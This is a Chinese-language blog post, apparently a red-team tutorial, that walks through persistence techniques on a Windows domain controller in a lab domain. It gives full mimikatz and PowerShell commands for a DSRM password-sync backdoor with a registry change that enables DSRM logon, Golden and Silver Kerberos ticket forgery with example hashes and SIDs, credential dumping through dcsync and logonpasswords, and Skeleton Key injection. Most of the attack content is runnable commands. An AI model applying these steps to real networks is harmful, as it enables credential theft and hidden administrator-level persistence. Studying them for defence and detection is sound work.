域控权限持久化
文章目录
DSRM域后门
DSRM(Directory Service Restore Model,目录服务恢复模式)是windows域环境中域控的安全模式启动选项。每个域控都有一个DSRM账户(也就是本地管理员账号),再安装DC时创建,很少会被重置。
可以使用DSRM账号对域环境进行持久化操作。 如果域控制器的系统版本为win2k08,则需要安装KB961320才能使用指定域账号的密码对DSRM的密码进行同步,win2k08后的系统需要安装此补丁。如果域控为win2k03,则不能使用DSRM域后门。 使用DSRM后门的原理是: 可以将DSRM的密码同步为某个域内账号的密码 。以下是实验步骤:
(1)首先使用mimikatz查看域内账号的NTLM Hash:
输入如下命令在域控内查看特定账号的NTLM Hash(非域管理员组):
mimikatz lsadump::lsa /path /name:win7
如下图所示:
(2)然后使用mimikatz通过SAM在域控中读取本地管理员NTLM Hash(DSRM):
输入如下命令读取:
mimikatz lsadump::sam
如下图所示:
(3)在域控中将DSRM账号和win7账号的NTLM Hash同步:
输入如下命令进行同步:
NTDSUTIL "SET DSRM PASSWORD" "SYN FROM DOMAIN ACCOUNT win7" "q" "q"
如下图所示:
(4)查看DSRM是否同步成功:
再次通过mimikatz查看SAM文件得到DSRM的NTLM Hash:
mimikatz lsadump::sam
发现和前面win7账号的NTLM Hash已经一样了:
(5)设置DSRM账号的登录权限:
输入如下命令设置任何情况下都可以使用DSRM登录域控制器:
# Powershell下执行
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
如下图所示:
(6)在低权限机器上,使用PTH DSRM登录域控:
黄金票据
- 如果krbtgt账号未重置修改,那么可以利用krbtgt账号伪造域内任意用户身份(一般伪造Administrator);
- 黄金票据需要满足:伪造的管理员用户名、完整的域名、域SID、krbtgt的NTLM Hash或者AES-256;
(1)首先获取krbtgt的NTLM Hash:
在域控中输入如下命令获取krbtgt账号的NTLM Hash:
mimikatz lsadump:dcsync /domain:pinger.testlab /user:krbtgt
如下所示:
(2)获取域SID:
直接输入如下命令,即可查看域内所有账号的SID,去掉末尾的就是域的SID:
wmic useraccount get name,sid,caption
如下图所示:
(3)获取域管账号:
输入如下命令获取:
net group "domain admins" /domain
如下图所示:
(4)获取域名:
直接输入ipconfig /all就可以获取了;
(5)使用mimikatz生成黄金票据:
首先在低权限的机器上查看DC的C盘,提示“拒绝访问”:
然后在地权的机器上使用mimikatz生成黄金票据:
mimikatz kerberos::golden /admin:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /ticket:Administrator.kiribi
如下图所示:
然后就是直接使用mimikatz导入票据进行PTT了:
最后在通过查看DC的C盘验证下权限:
也可以一步到位进行mimikatz生成黄金票据和导入进行PTT:
mimikatz kerberos::golden /user:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /endin:480 /renewmax:10080 /ptt
白银票据
使用白银票据需要的条件如下所示:
- 域名;
- 域SID;
- 目标服务器的FQDN;
- 可利用的服务;
- 服务账号的NTLM Hash;
- 需要伪造的用户名;
以下是实验步骤:
(1)首先获取服务账号的NTLM Hash:
在域控中输入如下命令:
mimikatz sekurlsa::logonpasswords
如下图所示,得到DC$的NTLM Hash:
(2)使用mimikatz生成白银票据:
首先在低权限的机器上查看DC的C盘,提示“拒绝访问”:
然后使用mimikatz生成CIFS服务的白银票据并导入内存:
mimikatz kerberos::golden /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /target:dc.pinger.testlab /service:cifs /rc4:635260b8259e41feed71f6f0b0fd0f64 /user:Administrator /ptt
如下图所示:
测试以下访问DC的C盘,成功:
万能密码
- 微软在2014年在windows系统中添加了LSA保护策略,不能注入lsass.exe进程了;
- 向域控中注入万能密码,只能在64位系统中使用;
- 需要域管权限将万能密码注入到lsass.exe进程;
- 注入万能密码后,原有的密码仍然能登录系统;
- 重启后,万能密码失效;
以下是基于mimikatz的实验步骤:
(1)在域控中直接执行mimikatz,如下命令所示:
mimikatz misc::skeleton
如下图所示:
(2)然后直接在低权限的机器上尝试用万能密码登录:
万能密码为“mimikatz”,使用SMB登录,如下图所示:
文章作者 P1n93r
上次更新 2021-05-24